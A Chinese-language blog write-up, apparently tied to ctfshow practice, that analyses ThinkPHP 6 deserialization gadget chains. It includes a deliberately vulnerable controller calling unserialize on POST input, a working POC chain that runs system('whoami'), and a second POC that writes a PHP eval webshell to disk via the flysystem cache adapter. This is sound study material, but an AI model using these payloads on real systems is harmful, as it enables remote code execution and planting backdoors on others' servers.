这里记录了我复现分析的时候遇到的困难、奇葩问题,不够详细请谅解
关于 TP6 的反序列化 POC,除 v6.0.0-rc3 以前的版本可用,其他的已全部失效!官方 github 未找到 commit 记录
但是链子还是值得一看的,虽然旧链新用说不定发现其他东西了呢
由于复现麻烦弃坑了。。 把 ctfshow 的tp题目源码拖下来了,又可以愉快的分析啦
[TOC]
RCE
环境搭建
➜ PHPSec composer create-project --prefer-dist topthink/think=6.0.x-dev tp6
➜ PHPSec cd .\tp6\
➜ tp6 composer update
修改控制器
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
unserialize($_POST['a']);
return 'Hello TP6.0';
}
public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
}
POP分析
TP5 POP 链子入口都是 think\process\pipes\Windows
但是 TP6 中将其删除了,但是其 __toString()
之后的 Gadget 还在,这里用的是 TP5.2 的链子,我没分析 5.2 的在这里走一遍吧哈哈哈,都差不多的。全局搜索 __destruct()
,在 vendor\topthink\think-orm\src\Model.php
中找到可利用方法,其 __destruct()
调用了 save()
,跟进看看,save()
调用了 updateData()
,但其需要三个前置条件:$this->data !== null
、$this->withEvent = false
、$this->exists = true
在 updateData()
中其调用了 checkAllowFields()
,而 checkAllowFields()
中存在可控变量的拼接,所以配上原来的 __toString()
的 Gadget 即可完成利用
这里第一个
if
前面已经绕过:$this->withEvent = false
第二个
if
需要$data !== null
(前面已经设置),跟进getChangedData()
看看会不会改变$data
,需要$this->force = true
checkAllowFields()
这里在跟进 $this->db()
$this->table != null
即可拼接变量,可触发 __toString()
搜索 __toString()
还是在 vendor\topthink\think-orm\src\model\concern\Conversion.php
中去利用,__toString() -> $this->toJson() -> $this->toArray()
,跟进 $this->getAttr()
这里调用了 getValue()
,在那之前先看看 getData()
怎么更改 $value
的
279 的 $name
追到上面是 $this->data
的键值,不是为空的所以跟进 getRealFieldName()
这里直接默认就返回了 $name
,所以没必要管他。然后再看上图,285 行的判断,$name
本来就是 $this->data
的键值,所以在往上 $value
就是 $this->data[$key]
然后再去看 getValue()
,500 行可以动态执行了(懂我意思吧),要过挺多的 if
第一个 if
不用管,只需要设置 $this->withAttr[$fieldName]
为数组就行
细看这个方法发现和别人分析的不一样,执行命令前加了一个判断 if ($closure instanceof \Closure)
需要 $closure
为闭包(匿名函数),这就堵死了链子的使用,为啥我不能用?别人可以?版本问题?
去 github 看看 releases 说明发现在 29 天前 官方把漏洞修复了。。。我下载的最新版本自然不行,但在 commit 中我未找到其更改记录,可能是我不仔细吧,没有发现,更改版本再试试。。。也不行
切换全部版本发现都会有这个判断,那他们是怎么分析的?在 github 中最新版也就是 v6.0.0-rc3 中才有这种代码
那没办法,手动修改代码,将 if 注释掉,POC 可用,不能动态执行,只能修改 POC
POC
<?php
/**
* @Author ying
* @Date 8/20/2021 10:01 AM
* @Version 1.0
*/
namespace think\model {
use think\Model;
class Pivot extends Model
{
}
}
namespace think {
abstract class Model
{
private $lazySave = false;
private $data = [];
protected $withEvent = true;
private $exists = false;
private $force = false;
protected $table;
private $withAttr = [];
public function __construct($obj = '')
{
$this->lazySave = true;
$this->data = array('yq1ng'=>'whoami');
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->withAttr = array('yq1ng'=>'system');
}
}
}
namespace {
use think\model\Pivot;
echo urlencode(serialize(new Pivot(new Pivot())));
}
写文件
POP分析
这个链子比上一个简单太多了,全局搜 __destruct()
,找到 vendor\league\flysystem-cached-adapter\src\Storage\AbstractCache.php
,其析构函数也调用了 save()
,但和上一个不一样的哈,这个类是个抽象类,首先要找它的子类
挺多的,选第一个看看,vendor\league\flysystem-cached-adapter\src\Storage\Adapter.php::save()
,最后有个写文件的操作,介好啊,在那之前先看看前面的 if
能不能过,三个参数可不可控
先看 $contents
,跟进 getForStorage()
再去看 cleanContents()
,这里的 $contents
上图的 $this-cache
,不想那么多,直接把他为空。在看上图返回的是 json_encode
,其他两个参数也可控,随意把一个参数变为一句话木马就行,所以 上上图的 $contents
就可控,文件内容就是可控的
然后看 if ($this->adapter->has($this->file))
怎么想法让他为 false
,在本类中并没有 has()
方法的定义,所以还要找,也是很多,这里使用了 vendor\league\flysystem\src\Adapter\Local.php::has()
,因为这个比较简单,看方法名是 应用路径前缀 ,进去看看吧
没什么更改的,那么随意指定一个不存在的文件即可绕过 if
进入写文件的操作
可能会有疑问,方法不是本类怎么办?再看 if
他是指定了一个任意类的方法,而 $this->adapter
是可控的,所以没关系啦。恰好,vendor\league\flysystem\src\Adapter\Local.php
中也有 write()
,且实现简单,没有过滤
file_put_contents()
有第三个参数,我也是第一次见,看了看源码(function file_put_contents ($filename, $data, $flags = 0, $context = null) {}
),不影响我们的操作。官方描述是这样:
POC
<?php
/**
* @Author ying
* @Date 8/20/2021 5:01 PM
* @Version 1.0
*/
namespace League\Flysystem\Cached\Storage {
use League\Flysystem\Adapter\Local;
class Adapter
{
protected $autosave = true;
protected $expire = null;
protected $adapter;
protected $file;
public function __construct()
{
$this->autosave = false;
$this->expire = '<?php eval($_POST[1]);?>';
$this->adapter = new Local();
$this->file = 'yq1ng.php';
}
}
}
namespace League\Flysystem\Adapter {
class Local
{
}
}
namespace {
use League\Flysystem\Cached\Storage\Adapter;
echo urlencode(serialize(new Adapter()));
}